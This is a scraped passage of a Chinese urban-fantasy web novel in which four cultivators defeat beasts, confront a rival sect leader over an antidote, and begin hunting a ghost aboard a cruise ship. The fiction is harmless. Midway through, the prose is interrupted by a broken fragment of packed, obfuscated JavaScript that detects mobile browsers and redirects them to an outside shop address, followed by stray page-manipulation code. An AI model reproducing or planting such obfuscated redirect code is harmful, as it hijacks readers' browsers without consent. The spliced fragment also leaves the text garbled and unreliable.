萧衍对那两头狼喝了一声,意思应该是让它们不要再追那两头花豹。它们得令,立刻停止了追捕,朝着与罗晟打在一起的那头灰熊跑了过去。 灰熊凶恶异常,国内外都时常有灰熊食人的恐怖案件的报道。 这一头更是足有两米多高,罗晟的“无妄”和三头狼的奋力撕咬都几乎制它不住。 萧衍又学了几声狼嚎,五头狼其中四头各自咬住它的前后脚,而最后一头凌空一跃,伸爪便挠向它的面门。 灰熊的左眼被挠出几道血痕,它痛苦地闭上眼,用力甩着脑袋。 罗晟看准时机,抡起“无妄”从它的头顶正中一棍下去,那熊瞬时失去意识,巨大的身躯瘫倒在地,发出一声闷响。 而颜清辞这边,被迫跑了好几公里的大虎此时已经气喘吁吁,步伐显然放慢了许多。 瞅准时机,她默念咒文,指尖捻出一张符来。 她轻轻一抛,符咒贴在迎面扑来的猛虎额头正中,颜清辞口中念了一声“睡”,那头老虎猛一闭眼,倒在地上沉沉睡去。 四人组就这样制服了所有猛兽,再往看台上去找老板娘,她却起身往上面快步走——这是要跑! 萧衍吹了一声口哨,五头狼齐齐朝着看台上飞奔而去。老板娘回过头,一挥手,灵力化作飞刃朝狼群攻去。 颜清辞也一抬手,看台上一排椅子腾空飘起,挡在群狼面前,化解了攻击。 颜清辞再一挥手,开台上方亮着光的出口被一堆椅子堵了个严严实实。 老板娘催动灵力想要拨开那些椅子,好在萧衍给的功德着实不少,一时间还真破不了颜清辞的招。 五头狼很快追上了她,兴许也有发泄长期被虐待的怨气,它们一个个亮出獠牙往她皮肉里扎。萧衍等了一会儿,终于出声制止了它们。 “留活的。” 他们沿着看台往上走,老板娘一边用灵力修复被咬的伤口,一边愤愤不平地看着他们,说:“不过几条凡人的性命而已,非要与我过不去。” 颜清辞道:“凡人的命也是命,况且,只是为了美丽的容貌,就取人性命,天理难容。” “天理难容?呵呵呵呵……” 老板娘发出一串冷笑,“你们运气好,年纪轻轻就得了道,自然不会明白我的悲哀。苦苦追寻了一辈子,才得了长生之法,却只能守着衰老的残躯度日,倒还不如死了。” 颜清辞注视她的眼睛,沉默片刻又说:“死也没什么可怕的,我从出生起,每天都不知道能不能见到明天的太阳。 即便是现在,也时时担心哪天续不上功德也就魂灭了。天地有为法,就算是神仙,也逃不过生老病死。” 林朔此时已经掏出手机,向治安部报了警。听见治安部三个字,罗晟一脸不高兴地扔下一句“先走了”便推开堵着门的那些椅子走了出去。 三人则待治安部的人来带走了老板娘才离开。从那道门出来,他们发现这个大厅原来就在民宿的地下。 他们沿着楼梯回到一层,外边下起淅淅沥沥的小雨。 站在屋檐底下,萧衍说:“我给申海野生动物园打了电话,他们马上会派人来接那几头动物。” 颜清辞问:“答应得这么干脆?” “废话,我有股份。” 萧衍一脸傲娇。 颜清辞无言,她差点忘了,这家伙在凡间也是个A11级别的大佬,坐拥产业无数。 “被那个郑雷跑了,怎么办?” 林朔问道。 “他还能跑到哪里去,订机票,明天就去云中山,顺便要个解药来吃,不能用灵力真tm不爽。” 萧衍说到这里,忽然转向颜清辞:“你也吃了浇头面,为什么一点事都没有?” 颜清辞摇摇头:“我也不知道啊。” 她并无意纠结这个问题,转移了话题问道:“从这里飞云中山吗?” “你不用去,林朔,你给颜作家定机票回申海吧。” “我想去,这样的大门派,我 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他又贴上来,她闻见他身上淡淡的木质香:“你写的那些玩法,到底可不可行,难道不该实践一下吗?” 颜清辞忍无可忍:“萧衍你是不是脑子有包?别以为抓着个把柄就能一直要挟我!” “呵……” 逗她尽了兴,萧衍一脸餍足地靠回椅子里,懒洋洋道:“说我萧某人什么都行,就是说我小气,我不能忍。” 招财这时从颜清辞脚边的包包里探出头来,萧衍伸腿踢了踢那包包,厉声道:“快变回毛绒玩具,一会儿空姐要过来了。” 招财不满地瞪了他一眼,却也无可奈何,又老老实实钻了回去。 云中山离临湘市区两百多公里,此处群山整日云蒸雾罩,故名“云中山”。 湘州地处南方,夏季湿热异常,山中毒虫异兽甚多。上山前,萧衍拿出一瓶驱蚊液来强制给每个人从头到脚喷喷了一遍。 尽管这是完全多余的动作,普通蚊虫,一点灵力便能叫它们退散,毒虫灵兽,驱蚊液也没什么用。 雨后初晴,四人组踩着潮湿的台阶拾级而上。走了一个多小时,终于来到云中观的山门前。正值旅游旺季,大殿门前人头攒动。 他们进了大殿,径直走到一位身穿锦袍、端着拂尘、蓄着络腮胡的道士面前。 “找你们叶掌门,去通报一下。” 萧衍直截了当亮明了来意。 那道士愣了一下,问:“您是找我们观主吗?有没有预约?” “找你们观主也行,他在哪里?” 萧衍说。 道士面露不悦,将拂尘甩到另一边,冷冷道:“没有预约的话,劳烦您出门往里走,找到服务处登记一下吧。” 萧衍一脸不耐烦,奈何他现在灵力全失。 他朝颜清辞使了个眼色,她心里神会,施动法力,盯着那道士的眼睛说:“现在,带我们去见你们观主。” 那道士只是个凡人,自然乖乖领着他们往观里进。他带着他们穿过幽静的庭院,来到一座并不起眼的楼阁前。 刷卡进门,里面完全是办公楼的样式,他们来到三层一间办公室门口,道士轻轻敲门,里面传来一声“请进”。 他打开门,站在门口,毕恭毕敬地对里头的人说:“徐观主,有人找。” 徐观主望了望四人组,有些困惑地问:“你们是?” 萧衍带头走了进去,大剌剌在他对面坐了下来,说:“现在是你这小老儿在管事?” “你先出去吧。” 徐观主对门口那名道士说。 那人退出去后,门方一关上,徐观主周身气息便灿然亮起:“这位小兄弟今日前来有何贵干?” “小兄弟?” 萧衍冷哼一声,“我第一次到你们云中门来做客的时候,你的曾曾曾祖父恐怕都还没有出生呢。” 那徐观主仔仔细细打量了他们一遍,有些轻蔑地发出一声“哦”。 他一瞪眼,颜清辞感到一阵强烈的压迫感——这是在逼他们现出灵力。 几人周身的气息都逐渐闪现。萧衍面不改色,一抹深红从他的身体里弥散而出。 7. 芙蓉酿 见此情形,徐观主着实一惊,除了颜清辞,另外三人的灵力皆远在他之上。 萧衍漫不经心地说:“多亏了你们家赫赫有名的退灵散,不然这会儿我也犯不着跟你这老儿在这废话许多。” 徐观主的语气显然没了方才的淡定:“我们云中门和魔界的人素无来往,你们今天到底干什么来了?” “叫叶无介出来。” 萧衍毫不客气。 徐观主显然有些不悦,态度却还算客气:“我们叶掌门早就不见客了,实在不好意思。” “你跟他说,玄境山萧衍有事找他,至于他肯不肯出来,你自己瞧着便是。” 徐观主犹豫片刻,还是应了下来:“稍等。” 他出去后,萧衍回头看了一眼正在书柜前上下查看的林朔:“呵呵,不见客……这姓叶的还是一如既往地死装。” 林朔淡淡一笑,说:“这么多年了,你还是那么讨厌他?” 萧衍撇着嘴说:“当然,再过五百年也还是一样讨厌。” 过了许久,门终于被打开,从外面走进来一位风骨不凡的年轻人。 他穿着款式简约的深灰色衬衫,面料柔软却一丝不乱,黑色的窄脚裤让一双长腿更突出。 脚上的乐福鞋一眼看不出品牌,处处透露着“意大利手工定制”的高档感。 此人的穿着打扮和他本人的气质十分相符:松弛而高级。 他长得眉清目秀,颇有几分相师嘴里说的“男生女相”的大富大贵之貌。 “萧师弟,林师弟,好久不见。” 他和气地跟他们打招呼。 他的目光扫过罗晟,停留在颜清辞脸上,笑道:“这位小姐看着很面善,你叫什么名字?” “颜清辞。” 她刚说出自己的名字,萧衍兀地起身,故意挡在她面前,语气冷淡地说: “叶无介,我可不是你的师弟,最好别乱叫。” 那男人倒也不恼,仍旧和颜悦色地说:“既然你们当年来云中门跟着我师父修炼过一段时间,那就算得上是我的师弟师妹……” “我没空跟你扯这些有的没的……” 萧衍打断了他的话,没好气地说,“郑雷,这个人是你门下的吧,你手下的人跑出去招摇撞骗丢人现眼不说,还害得我们都中了退灵散,这事怎么算?” 叶无介缓步走到徐观主的位子上安然入座,不紧不慢地说:“郑堂主回来已经跟我请过罪了,你们在清溪镇发生的事,我也听说了。这件事是他做得不对,我已经处罚过了。” “哼……” 萧衍也再次坐下,冷笑一声说,“你一句轻描淡写的‘处罚过了’就算完了?此人输了比试还妄图偷袭我的人,总得给我个交代吧。 还是说,你们云中门的传统就是出了事概不负责?” “我自然要给你们一个交代。” 叶无介从徐观主抽屉里找出一盒药来,“这是退灵散的解药。” 他又将脸转向一旁的颜清辞:“我替郑堂主向你郑重道歉,88道藤鞭,我亲自行刑,散去他百年修为。如今他已经被革职,打发去了保洁部。” 他再次看向萧衍:“不知这样的处罚,萧师弟你满不满意?” 萧衍陷入沉默,这处罚的严重程度确实无可指摘,只是面对叶无介这个人,他心中那股怨气总是积郁难平。 良久,他站起身,拿起桌上那盒药放进口袋,说:“行吧,你都做到这份儿上了,我确实没什么好挑的。” 他朝另外三人使了个眼色,示意他们一起走。 叶无介却叫住他们:“难得来一趟,留下尝一尝湘州的特色再走吧。” “想吃我们可以自己下山吃,不必麻烦叶掌门了。” 萧衍拍拍颜清辞的胳膊,急着赶她出去。 “颜小姐……是吧?” 叶无介突然唤了颜清辞一声,“可否赏脸留下吃个饭,我手下的人不懂事差点伤了你,还请给我个机会赔罪。” “不需要你赔罪……” 萧衍不耐烦地拉着她就要往外走,颜清辞却甩开他的手,回过身,客客气气地对叶无介说:“既然叶掌门这么有诚意,那就恭敬不如从命了。” 叶无介微微一笑,唇红齿白,果真是个美丽的人儿。 萧衍气得脸都绿了,愣憋着说不出话来。 林朔上前拍了拍他的后背,一边安抚一边打着圆场道:“说起来,我也有点想念你们这里的芙蓉酿,今晚可得给我来上几壶。” “一句话,林师弟。” 叶无介拍拍手,那徐观主立刻从门外进来。 “老徐,你先带我这几位朋友去房间休息。” 他又对四人组说:“今天晚上可得喝个尽兴,你们就在山上住下,明早再下山吧。” 萧衍没搭理他,兀自走了出去。 徐观主带他们来到后山的一处风景秀美的院落,一座座禅房样式的小屋临水而建。 他给他们指了各自房间的位置,便离开了。 颜清辞四下望了望,翠竹松柏、溪流潺潺,不知怎的,心中生出一丝似曾相识之感。 她摇摇头,甩掉脑海里无解的错觉,对着萧衍问出了方才一直悬在心头的疑问:“萧老板,叶掌门说,你和林先生从前来这里修炼过……莫非你也是玄境门的弟子吗?” “嗯,算是吧。” “我没别的意思啊,这玄境门……没仙籍也能入的吗?” 林朔笑着插话:“当然是不能,可他从前是有仙籍的。当然,最重要的一点……他是掌门夫妇的亲儿子。” “啊!你就是那个……” 颜清辞仿佛发现新大陆一般瞪大了眼睛。 这是连她这样的底层牛马都知道的仙门八卦:玄境门祖师伉俪膝下唯有一子,老两口一辈子清风霁月,就为这逆子险些晚节不保。 传闻这位少爷自己脱了仙籍还不算完,还整日同魔众们混在一起,堕了魔道。 尽管如今这个时代,早就提倡“仙魔平等”,但歧视终究存在。 “那个什么?” 萧衍挑着眉毛看她。 “就那个……” 她实在不知该如何措辞。 萧衍替她说下去:“叛徒?孽障?仙门败类?” “我可没这么说……” 萧衍一脸不屑:“当仙有什么好的?守着那些破规矩,到头来跟你一样,又穷又废。” 颜清辞不爽地撇撇嘴,却也无力辩驳,只好转移了话题:“萧老板,你跟这个叶掌门之间是有什么过节吗,你为什么对他态度这么恶劣呢?” “当然是有很大的过节,就算没有,我也不喜欢他这个人,道貌岸然。” 颜清辞没再追问,眉梢轻挑:“行吧,只是叶掌门对我们诚心款待,你跟他有什么个人恩怨也不要成天垮着个脸吧。” 萧衍皮笑肉不笑地露出一口白牙,阴阳怪气地说:“好,我尽量装出开心的样子。” 颜清辞被他一脸狰狞的样子逗乐了,笑道:“别装了别装了,我怕晚上做噩梦。” “哦,原来颜作家晚上会梦见我啊。” 他嘴角松弛下来,这会儿是真心笑开了。 “神经。” 颜清辞翻了个大白眼,转身往自己的那间小房子去了。 到了晚上,叶无介在“听云阁”设宴招待他们四人,此处位于云中山的山巅之上,凭栏而望,头顶月明星稀,脚下层云叠起。 几壶“芙蓉酿”下肚,林朔已然醉倒。平素矜持克制的他此时勾着叶无介的脖子,絮絮叨叨地忆着往事。 “想当年,咱们在云中山修行的时候,那可真叫一个快活……就是你师父……那个老学究,嘁,那是真凶啊……” 林朔抬起头,猛然想起什么,问:“诶,说起你师父……他人呢?” 叶无介也有些微醺,双颊红润,眼中弥漫着水汽。 “我师父三百多年前就开始闭关了,还没出来呢……” “挺好……我现在想起他来都要抖三抖……” 萧衍冷眼看着两人亲密的样子,一杯杯灌着闷酒。他看起来面色如常,毫无醉意。 林朔歪着脑袋,望了一眼窗外的月色,感慨道:“霍,一晃都过去这么久了,想当年咱们四个……” “当”的一声,萧衍将酒杯重重砸在桌子上,对林朔投去一个警告的眼神。 林朔一惊,慌忙收了声,下意识往颜清辞的方向瞥了一眼。 这“芙蓉酿”虽尝起来清新淡雅,还有花的芳 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“谢谢你,萧老板,我没想到那酒这么烈。” “早告诉过你了,云中山没什么好东西。” 他站起身,整整衣服上的褶皱说,“你赶紧收拾收拾吧,我们一会儿就下山。” 四人组就这样回了申海。第一单尽管有所波折,但也算是大获成功。 颜清辞账户里从来没有这么大笔的进账。她对着功德余额那串数字数了好几遍零。 原来有钱人的快乐,真的是想象不到。 一个多月后的某天,四人组的微信群「一个小目标」里,萧衍发来一个链接。 他单独艾特她一个人: 「萧:颜作家,开新单了!你不晕船吧?」 她点开那个链接来看,渡了么app上的S级悬赏任务:科斯塔号游轮闹鬼事件。 「任务描述:这艘游轮闹鬼已持续多年,上个月大客户在船上吓出心脏病,直接投诉到海事局,若不尽快解决,游轮有可能退役报废,星海集团损失惨重。愿主为星海集团董事会主席,资料如下……」 她关掉链接,默默回了一个:「菇菇:收到。」 过了一会儿,罗晟发了话: 「Sheng:闹鬼啊……」 萧衍和林朔先后发了偷笑的表情包。林朔又紧接着发: 「林朔:世界上没有鬼的,罗队。」 「萧:有也没关系,反正我不怕。」 罗晟立即接了一个拿枪抵着头的表情包,又说: 「Sheng:出发日期,时间地点发过来。」 一周后,他们正式出发了。 科斯塔号游轮外观宏伟、内里豪华,要不是受到闹鬼事件的影响,票价可谓是相当不菲。 然而,即便是传闻闹鬼,票价被打下来了,也有的是胆大的游客跃跃欲试。甚至还有灵异爱好者专门冲着这个来一趟“见鬼之旅”。 他们坐飞机在港城登船,此次旅行的航线覆盖越南及东南亚三国,整整十二天,除了停靠港口时短暂的当地观光,几乎都在游轮上度过。 船上的人大多穿着色彩缤纷的花衬衫、花裙子,一派热带岛屿的风光。 四人组去游说那位星海集团的总裁,声称可以帮忙捉鬼的时候,对方豪气地答应把最顶级的星海套房给他们住。 刚好四个房间,客厅落地窗外巨大的阳台俯瞰一望无际的大洋。 颜清辞回房间放完行李,下楼走到阳台上往外看。潮湿的热带空气卷着海洋的气息扑面而来。 他们登船已经是下午,此时夕阳是海平线上一轮滚烫的火球,绽放着烫金色的光辉。 她环顾四周,无意间瞥见隔壁房间的阳台上也站着一个人。 身材颀长的男子眉眼如画,原本正远眺海上,回过头时,刚好与她四目相接。 他朝她挥挥手,露出一抹温暖的微笑。她也轻轻颔首,礼貌回应。 这时,身后传来一个冷冷的男音:“我还以为这尊享套房只此一间呢,那死老头可真会吹。” 8. 好一个热心鬼 颜清辞回过头,看见萧衍正站在她身后,眉头紧蹙,一脸不爽地望着隔壁那人。 “回去吧,外面热死了,研究一下行动方案。” 他拍着她的肩膀,想将她往屋里赶。 颜清辞一边朝屋里走,一边往隔壁的方向瞥了一眼,那清秀男子的目光始终望向他们这里。 进了屋,四人围坐在餐桌边盘起了“捉鬼”的细节。 林朔拿出了他的笔记本,率先开了口:“这艘船如今已经是许多灵异发烧友的打卡圣地,我在社交媒体上刷到好几个帖子,就是组织这些对怪力乱神感兴趣的同好一起来船上探秘的。” 他拿笔轻轻点了两下笔记本,继续说:“这些发烧友对曾经的闹鬼事件应该颇有研究,哪里有鬼、什么时间出没,他们很可能已经摸了个门儿清,所以我们可以先从这些人入手。” 萧衍看了一眼表,说:“快到饭点了,去餐厅坐坐吧,说不定能碰上你说的这些人,他们应该也在研究晚上到哪里撞鬼去呢。” 他们选了5层的中餐厅,一方面这间餐厅规模最大,另一方面大家还是对中国菜情有独钟。 站在餐厅门口扫视了一眼,颜清辞小声对其他三人说:“你们看那桌。” 顺着她眼神所指的方向,他们看见几个穿着奇装异服的人围着一张桌子正如火如荼地交谈着什么。 其中一个染着亮粉色头发的女孩穿着层层叠叠的复古连衣裙,胸前挂着一颗巨大的紫水晶。挨着她坐着一个波西米亚风打扮的女孩,正不紧不慢翻着塔罗牌。 另一个戴唇钉和鼻环的小眼男孩画着重重的黑眼线,手里不停把玩着一个哥特风十字架。 还有一人年纪稍长,他蓄着一小撮胡子,穿得倒是很正常,但正指着面前的罗盘,如痴如醉地跟其他几人说着什么。 四人组侧耳倾听,不出所料,那几人果然在聊科斯塔号闹鬼的事。 听了一会儿,萧衍一脸好奇地凑了过去,对那把玩罗盘的大哥问道:“你们也听说这船闹鬼?到底真的假的?” 那大哥看了他一眼,正了正坐姿,颇有几分傲气地说:“这事可是千真万确。很多人都看到过。” “哦,你倒是说说,都怎么闹的鬼?” 萧衍托着下巴,饶有兴致地眨巴着他那双装作人畜无害的大眼睛。 紫水晶女孩表情冷冷的,缓缓道:“曾经有住客洗澡的时候,明明挂在浴室门外的毛巾不翼而飞,跑到了床上。 还有住客的鞋子好端端在房间里移动了几个地方,还有半夜在底舱走廊里瞧见飘来飘去的床单的,在酒吧里听见杯子自己发出叮当响声的……” “很典型的鬼故事。” 林朔在一旁评价道。 哥特男孩一脸不屑地说:“还真不是编故事,你们这几天亲自体验一下就知道了,根据网友评测,闹鬼最凶的是6层娱乐区,7层客房和底舱工作区,是真是假,一试便知。” 波西米亚风女孩此时已经翻完了所有的牌,她看着面前的牌阵,悠悠吐出一句:“有的人早就死了,却还在这里。” 罗盘大哥伸出两根手指,指着空气,几乎带着点戏腔斩钉截铁地说:“有~鬼~!” 罗晟脸上的表情肉眼可见地僵硬起来,他用力捏着杯子,指尖微微泛白。 凌晨三点,6层的酒吧也已经打烊,整个娱乐区的灯光调到最暗,走廊寂静无声。 四人组踩在柔软的厚地毯上,脚步声被悉数隐藏。 罗晟虽然表面上看着淡定,他的手始终扶着腰间别着的“无妄”。 “老罗,你到底为什么那么怕鬼?”萧衍问。 罗晟沉默,没有回答。 他们走到电影院门口,萧衍提议进去看看。罗晟望了一眼漆黑的过道,有些犹豫,但见其他人都跃跃欲试地走了进去,他也只好跟上。 几个影厅的门都虚掩着,一推便开。漆黑的空间伸手不见五指,冷气却开了十足。 他们查看到第三个影厅的时候,罗晟已经起了一身的鸡皮疙瘩。 头顶上方忽然传来一声异响,声音很轻,四个人却都清楚听到了。 他们停下脚步,四下张望,试图找到声音的来源。 一道强光闪现,四周的环绕式音响里同时奏起恐怖的音乐。巨幅屏幕上出现一张诡异的木偶脸,在幽蓝色的光影里凝视着他们四人的眼睛。 “啊!”罗晟的尖叫声响彻整个影厅。 “哈哈哈哈哈哈!……”一串银铃般的笑声从头顶传来。 他们抬起头,借着影片的光亮,看见放映厅的小窗里,一个挑染着紫色头发的美丽女子正居高临下地瞅着他们。 脸上藏不住的笑意还带着几分奸计得逞的沾沾自喜。 过了一会儿,两个人推开影厅的门,走了进来。除了那女子,还有一个年轻男人—— 颜清辞定睛一看,不就是下午在隔壁房间阳台上看见的那人么。 两人亮出周身气息,女的是魔,男的是仙。 “你们也是来捉鬼的吧。”紫发女子的目光仍然停留在罗晟身上,他着实被吓得不轻,此时此刻脸上的肌肉仍是僵硬的。 “一个电影而已,叫《死寂》。”萧衍安慰罗晟道。 “你们在津渡上接的单?”那女子又问。 “你们呢?”林朔反问。 “一样。”女子答。 “切,老狐狸还两边下注。”萧衍不满地说。 这种高价值的订单有许多人同时接也不是什么稀奇的事。 大家各凭本事说服愿主接受他们的帮助,很是公平。 但像星海总裁这样同时请两组大师帮忙的确实不多见。 “我叫魏茯苓,他叫莫君离,你们都叫什么名字?”紫发女子爽朗地报上了自己的名号。 “萧衍,这是林朔,颜清辞,罗晟。”萧衍也不藏着掖着,挨个介绍起了自己的团队。 魏茯苓走到罗晟面前,笑道:“这位罗先生,你是不是怕鬼啊。” 罗晟撇过头去,显然有些羞耻。 “你们就住我们隔壁吧,我下午的时候见过你老公。” 萧衍故意强调了“老公”两字。 “哦,小莫可不是我老公,他是我异父异母的亲弟弟。” 莫君离笑着解释道:“我们是好朋友,茯苓姐救过我的命。” “既然我们都接了这个单子,那就看谁先抓到那个鬼,公平竞争。” 萧衍说着便往外走,一分钟都不想多逗留。 转了一遍6层,并没有什么异常,四人组又上到7层。这一层往上全都是客房。 客房区即便是晚间,走廊也亮着温和的暖灯。 他们沿着船身伸展的方向,从这头走到那头,还是没有发现任何异常。 往回走时,又碰上了魏茯苓和莫君离。 “好巧呀。” 魏茯苓笑着打招呼,眼睛却只盯着罗晟看。 被看的人却没有半句回应,反而别过了头去。 莫君离朝颜清辞露出一个彬彬有礼的微笑,她也礼貌地轻轻点头回应。 他俩之间晴空万里,萧衍脸上却阴沉得要刮十级台风。 就在这时,一间房间的门轰然打开,里面跑出一个人来,他的脸色惨白,嘴里颤颤巍巍地喊着:“见……见鬼啦!见鬼啦!” 六个人同时朝那人走过去,萧衍扶住那几乎要摔倒在地的男人,问:“怎么了?” “我……我真是……活见鬼啦!” 那男人重重喘了几口气,平复了一下心绪,终于说出了自己的遭遇。 “我今天不知吃了什么,疯狂闹肚子,刚才半夜又起来跑厕所,结果完事了发现没纸了,然后你猜怎么着?……” 他故意停顿了一下,扫视了一遍他们每个人的脸,才继续说:“厕所的门,它自动打开了一条缝,然后,从地上滚进一卷纸来……” 他说到这里,像是又回忆起那诡异的画面,身体不自禁地抖了抖,脸色又白了下去。 “你一个人住?” 莫君离问。 “废话!要有人跟我一起,我还能吓成这样!” “你这问题问的,像脑子落家里了。” 萧衍轻蔑地看了莫君离一眼。 “我只是确认一下,谁知道他的精神是不是正常。” 莫君离平静地说。 “你你你……你这小伙子怎么说话的呢?谁精神不正常!” 那男人气鼓鼓地说,“我就是自己一个人住,而且我看得真真的,原本虚掩的门,自己开了一条缝,有人把卷纸滚了进来。” “不过,话说回来,不管是不是鬼,也算是解了你的燃眉之急了吧?” 林朔说。 “喂,大哥,你用了那卷纸的吧……” 萧衍忽然推开了他,往后退了一米远。 那男人无语地白了萧衍一眼,说:“用了……” 他又看向林朔,道:“本来吧我也没多害怕,但大家不都说这艘船闹鬼么,气氛这么一烘托,真的是给我吓一大跳。” “你从厕所出来的时候,有看见人影什么的吗?” 莫君离又问。 “我好像是看见舷窗外面闪过一个白影……但讲真我没看太清楚,也不知道是不是幻觉……” 那男人的语气很不确定,意味着这条信息的可信度也有待商榷。
35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|hmxs|i|shop|17019710|194240||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' > 忙活了一晚上,到底也不算一无所获。然而两组人马又逛遍了甲板和底舱,也没有找到大哥嘴里说的“白影”。 天光渐明,船上的工作人员陆陆续续开启新一天的工作。 两组人马决定暂时收队,明日再查。 他们的套房挨在一起,连回程也同路而行。 “莫先生是自己修行还是有单位啊?” 颜清辞有一搭没一搭地便和莫君离聊上了天。 “我在御风门上班。” 他回答。 “御风门是大门派啊,待遇很不错吧,这样还出来接私单?” 颜清辞疑惑不解。 “哦,我最近在休假,纯属给茯苓姐帮忙。” “有编制真好,还能带薪休假呢。” 他们聊着聊着便并排走到了一起,丝毫没有注意到身后的萧衍投来刀子似的目光。 “颜小姐是自己修行吗?” “是啊,还没混上个铁饭碗。” “方便加个微信吗?要是我们单位招新人,我可以给你内推的。” 他掏出手机,一脸的热心肠。 “好啊,那先谢谢你了。” 颜清辞刚拿出手机来,便被萧衍夺了过去。 “他说他是御风门的你就信?防骗意识也太薄弱了。再说了,御风门其实待遇也就一般。你真想要编制,我明天就给你安排去玄境门入职。 我家可是仙界50强,真正的大厂,五险一金,支持远程办公,再送你一个商业功德险,不比他那里强百倍么?” 颜清辞瞪了他一眼,伸手道:“手机还给我。” 萧衍抿了抿嘴,还是老老实实把手机交了回去,眼睁睁看着颜清辞和莫君离互加了微信。 白天四人组几乎都在房间休息,颜清辞灵力低微,补眠的时间格外长。 她从房间出来的时候,日头正盛,海上毫无遮挡的阳光直射进落地窗,洒向客厅每一个角落。 她给自己倒了杯水,看见萧衍正歪着头靠在沙发里。他的手边放着一本打开的书,似乎睡着了。 从她站的角度看,只能看见半边脸。然而这个角度却更加突出了他优秀的面部轮廓。 高挺的鼻梁显得眼窝微微内陷,勾勒出立体的眉眼。 不说话的时候,着实赏心悦目啊——颜清辞在心里想。 “颜作家,你偷看我。” 明明闭着眼的人忽然说起话来。 “你怎么知道……” 这话说出口,看见沙发上坐起来的人面露坏笑,颜清辞立马知道上当了。 “真的在偷看啊,我就随口一说的。” 萧衍一脸得逞的表情。 “没有。” 颜清辞端着水杯往楼上走。 “罗晟和林朔出去了,你想不想也去玩玩?” 他问。 “也行。” 颜清辞停下脚步,平生第一次坐豪华游轮,不体验一下确实可惜了。 “船上消费贵不贵?” 去6层的路上,颜清辞有些担忧地问。 “大部分都是包含在房费里的,颜作家放心玩。” “那岂不是得多出来玩才值回票价?” 萧衍不怀好意地笑了:“颜作家很财迷啊,你要是想赚凡间的钱呢,我可以雇你写定制。” 他一托腮:“嗯……我想看帅气财阀和落魄小作家……没羞没臊的日常……” “写不来一点,不好意思。” 颜清辞没给一点好脸。 他也不气馁,脸上挂着松弛的笑。 “无论是钱还是功德,只要活得够久,自然不会缺,世上最珍贵的从来不是财富,而是时间。” 他突然说出这么一句颇有哲理的话来,是颜清辞没想到的。 “活500多年是什么感觉呢?” 顿了片刻,她问。 “无聊,寂寞。” 萧衍说,“像我爸妈那样归隐山林,自然是无聊透顶,但是要活在人间,就得每几十年换个身份,切断和上一个身份的所有联系。即使偶尔有一两个不想断联的凡人朋友,也只能看着他们衰老死去。” “你刚才不还说,时间是最珍贵的吗?” “珍贵的东西又不一定是好东西,钱不也一样。” 颜清辞陷入沉思,她从来没想过这个问题。总有一天,她的父母、身边的朋友也都会先自己老去。 萧衍尚且不能彻底坦然面对,更何况自己呢? 见她有些伤感,萧衍连忙安慰道:“你现在想这些还太早,等你活得足够久了再想吧。” 他大掌在她肩头轻轻拍了两下,迈步往前走去。 选来选去,颜清辞最想玩的还是激光枪战。两人刚排到长队末尾,莫君离和魏茯苓就走了过来。 9.闹鬼游轮(三) “你们也来玩Lase Tag?” 魏茯苓笑着问,“怎么没看到罗先生?” “他往那里去了,你们要不去找找。” 萧衍随意指了一个方向说。 “没事,玩一局再去找他。” 萧衍瞟了一眼莫君离,阴沉着一张脸。 终于轮到他们,萧衍已经迫不及待要打莫君离个落花流水。 萧衍和颜清辞分在蓝队,魏茯苓和莫君离则是红队。 他们套上亮着灯的感应马甲,进入幽暗的仅有荧光照明的场地内。 随着广播中发出的指令,人影开始在掩体间快速跑动。颜清辞看了一眼身后的萧衍,却发现他的眼睛冒出野兽一般的金光。 “用法术,你这是作弊。” 她小声说。 “那两个一定也会用法术的,这才叫公平。” 萧衍不以为然地说。 枪声在耳边此起彼伏,已经有好几个人中弹了。 颜清辞是有些胜负欲在身上的,她只做了一秒的思想斗争,便也开启了夜视。 瞬间,整个场子的格局清晰展露在眼前。 她和萧衍背靠背,很快干掉了几个进入视线的红马甲。 他们开始往里面跑,除了枪战,他们还要找到实验室,找到装特殊试剂的保险箱,拿到试剂才算赢。 枪声在耳边此起彼伏,一开始他们还找掩体躲藏,后来干脆不躲了——颜清辞开了个护身咒,两人淡定地在狭长的过道里走了起来。 “哈哈,就知道你们不老实。” 身后传来一串笑声,不回头也知道是魏茯苓。 她端着枪看着他们,一脸道德审判的表情。 “彼此彼此吧,你手上拿着那块水晶,是吸光用的吧,不是你变出来的,难道是他们发的?” 萧衍也毫不客气地拆穿了对方的作弊行为。 魏茯苓浅浅一笑,道:“这么说,这一场到最后就是2V2咯?” “那也得看你们有没有本事。” 萧衍话音未落,魏茯苓手里的水晶便崩成了无数碎片,化作水蒸气一般消失殆尽。 就在这时,两个身穿蓝马甲的人正从拐角处转进来,两束蓝色的激光朝魏茯苓和莫君离射来。 莫君离反应快,躲过了射向他的子弹,而魏茯苓肩头的一个红灯应声熄灭。 萧衍幸灾乐祸地冲她笑了笑,朝颜清辞打了个手势,两人朝漆黑的过道深处跑了起来。 魏茯苓一伸手又变出一颗水晶来,那两个蓝马甲继续开火,却再也打不中他们两人。 莫君离一回头,只开了两枪,各自击中那两人胸前的红灯。 随着两声沉闷的音效,出局的两人放下枪,沮丧地离开了。 所谓存放“特殊试剂”的实验室,实际就是一个摆放了一排排架子的房间。 魏茯苓和莫君离到达的时候,颜清辞和萧衍已经在里面了。 他们需要先找到存放目标试剂的保险箱。 听见门外传来声响,颜清辞对萧衍比了个“嘘”的手势。 他们此时正站在两排存放试剂瓶的架子中间,那些试剂倒是还原得挺逼真,花花绿绿的液体,在荧光灯下展现出光怪陆离的氛围。 “没看见什么保险箱啊。” 魏茯苓的声音从门口传来。 “应该藏在里面,进去看看。” 莫君离的声音。 透过架子的缝隙,颜清辞看见了两人的身影。她默默举起枪,瞄准了身位理她更近的莫君离。 “叮叮当当”——她面前的试剂瓶突然发出清脆的响声,像是有人拿着金属小勺,轻轻拨过那一排排玻璃瓶。 听到声响 ,魏茯苓和莫君离立刻朝这边看过来,四人目光相接。 下一秒,红蓝射线穿梭往来,各人的激光枪里发出开火的音效。 背景之中,玻璃瓶的鸣响仍然没有停止,似乎还夹杂着细碎的脚步声。 